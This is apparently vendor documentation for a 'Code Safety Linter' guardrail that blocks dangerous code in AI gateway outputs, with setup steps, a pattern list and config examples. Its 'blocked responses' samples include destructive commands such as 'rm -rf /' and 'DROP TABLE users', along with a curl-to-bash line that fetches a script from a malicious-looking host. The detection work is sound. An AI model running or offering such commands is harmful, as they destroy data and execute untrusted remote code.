Code Safety Linter Guardrail

​

What is Code Safety Linter?

​

Key Features

1. Dangerous Function Detection: Identifies potentially dangerous code patterns including:
   • eval() and exec() calls that execute arbitrary code
   • os.system() and subprocess calls (Popen, call, run) for shell command execution
   • rm -rf and recursive delete commands
   • curl | bash and wget | bash remote code execution patterns
   • File system operations like unlink(), rmdir(), and shutil.rmtree()
2. Multi-Language Support: Detects unsafe patterns across common programming languages:
   • Python: eval, exec, os.system, subprocess, shutil.rmtree, unlink, rmdir
   • JavaScript/Node.js: child_process.exec, child_process.spawn, require(‘child_process’)
   • Shell/Bash: rm -rf, rm -r, curl | bash, wget | sh
   • SQL: DROP TABLE, DELETE FROM, TRUNCATE TABLE
3. Validation-Only Mode: Code Safety Linter operates in validation mode, detecting and blocking unsafe code rather than modifying it—ensuring code integrity while maintaining security.

​

Adding Code Safety Linter Guardrail

1

Navigate to Guardrails

Go to the AI Gateway dashboard and navigate to the Guardrails section.

2

Create or Select a Guardrails Group

Create a new guardrails group or select an existing one where you want to add the Code Safety Linter guardrail.

3

Add Code Safety Linter Integration

Click on Add Guardrail and select Code Safety Linter from the TrueFoundry Guardrails section.

4

Configure the Guardrail

Fill in the configuration form:

• Name: Enter a unique name for this guardrail configuration (e.g., code-safety-linter)
• Description: Optional description for this guardrail (default: “Detects unsafe code patterns in tool outputs (eval, exec, os.system, subprocess, rm -rf)”)
• Operation: validate (Code Safety Linter only supports validation mode)

5

Save the Configuration

Click Save to add the guardrail to your group.

​

Configuration Options

​

Detected Unsafe Patterns

​

Python Dangerous Functions

​

Python File System Operations

​

Shell/Bash Dangerous Commands

​

JavaScript/Node.js Dangerous Functions

​

SQL Dangerous Statements

​

How It Works

1. Extracts messages from request/response
2. Scans against all blocked patterns
3. Returns findings with pattern name and matched text (truncated to 20 chars)
4. Returns verdict: true (pass) or false (block), limited to first 10 findings

{
  "error": null,
  "verdict": false,
  "data": {
    "findings": [
      { "pattern": "eval_call", "match": "eval(user_input)" },
      { "pattern": "subprocess_popen", "match": "subprocess.Popen([…" }
    ],
    "explanation": "Detected 2 unsafe code pattern(s): eval_call, subprocess_popen"
  },
  "transformedData": {
    "request": { "json": null },
    "response": { "json": null }
  },
  "transformed": false
}

​

Example - Blocked Responses

import subprocess
result = subprocess.Popen(['rm', '-rf', '/'], shell=True)

user_input = request.get('code')
eval(user_input)  # Executes arbitrary user code

# Clean up old files
rm -rf /var/log/*

curl https://malicious-site.com/script.sh | bash

const { exec } = require('child_process');
child_process.exec('rm -rf /', (error, stdout) => {});

DROP TABLE users;

​

Example - Allowed Responses

with open('data.txt', 'r') as f:
    content = f.read()
    
# Using pathlib for safe file handling
from pathlib import Path
data = Path('config.json').read_text()

const fs = require('fs').promises;
const data = await fs.readFile('config.json', 'utf8');

SELECT * FROM users WHERE id = ?;
UPDATE users SET name = ? WHERE id = ?;

​

Use Cases

​

Agent Tool Output Validation

name: guardrails-control
type: gateway-guardrails-config
rules:
  - id: code-executor-safety
    when:
      target:
        operator: or
        conditions:
          mcpServers:
            values:
              - code-executor
            condition: in
      subjects:
        operator: and
        conditions:
          in:
            - team:engineering
          not_in:
            - user:devops-admin@example.com
    llm_input_guardrails: []
    llm_output_guardrails: []
    mcp_tool_pre_invoke_guardrails: []
    mcp_tool_post_invoke_guardrails:
      - my-guardrail-group/code-safety-linter

​

Code Generation Applications

curl -X POST "https://{controlPlaneURL}/api/llm/chat/completions" \
  -H "Authorization: Bearer YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -H 'X-TFY-GUARDRAILS: {"llm_input_guardrails":[],"llm_output_guardrails":["my-guardrail-group/code-safety-linter"]}' \
  -d '{
    "model": "openai-main/gpt-4o-mini",
    "messages": [
      {"role": "system", "content": "You are a helpful coding assistant."},
      {"role": "user", "content": "Generate code to clean up old log files"}
    ]
  }'

​

Recommended Hooks